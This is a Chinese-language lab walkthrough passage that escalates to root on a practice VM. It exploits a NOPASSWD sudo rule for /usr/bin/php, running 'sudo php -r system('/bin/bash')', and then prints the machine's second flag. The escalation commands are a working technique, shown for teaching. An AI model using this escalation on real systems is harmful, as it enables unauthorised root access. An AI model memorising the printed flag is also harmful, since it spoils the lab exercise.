如果一个普通用户被配置了sudo授权,那么在执行被授权的命令时就直接拥有了root权限,所以利用sudo提权是我们最容易想到的方式。
我们继续对靶机进行操作,以alice的身份通过SSH服务登录靶机,然后查看alice是否被配置了sudo授权:
alice@gfriEND:~$ sudo -l
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
可以看到alice被授权执行/usr/bin/php,而且在执行该命令时不需要输入密码。
/usr/bin/php又是什么呢?
这其实是PHP的程序文件,我们之前曾访问过靶机中的网站,这个网站使用的脚本语言就是PHP。
通过/usr/bin/php可以用命令行的方式去执行PHP代码,比如我们在CentOS虚拟机中进行测试,执行php命令再配合-r选项就可以执行PHP代码:
之前曾提到过,要想成功提权,主要就是要设法以root的身份去执行/bin/bash或/bin/sh这类Shell程序。而现在alice可以以root的身份去执行php,那怎么能再进一步利用php去执行Shell程序呢?
对于尚处于入门阶段的初学者,还不熟悉PHP代码,所以这里直接告诉答案:在PHP中提供了一些可以直接调用系统命令的函数,比如system(),下面的代码就是通过system()函数去调用执行了pwd命令。
alice@gfriEND:~$ php -r "system('pwd');"
/home/alice
所以我们只要让alice通过sudo的方式去执行PHP中system()函数,并通过该函数去执行系统中的/bin/bash程序,那么就可以成功提权。
alice@gfriEND:~$ sudo php -r "system('/bin/bash');"
root@gfriEND:~# whoami
root
这个命令的实质就是以root用户的身份去执行/bin/bash,因而就以root的身份打开了一个Shell,从而实现了提权。
然后在root用户家目录中发现了第二个flag,这个靶机的shentou也就顺利完成了。
root@gfriEND:~# cd /root
root@gfriEND:/root# ls
flag2.txt
root@gfriEND:/root# cat flag2.txt
……
Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}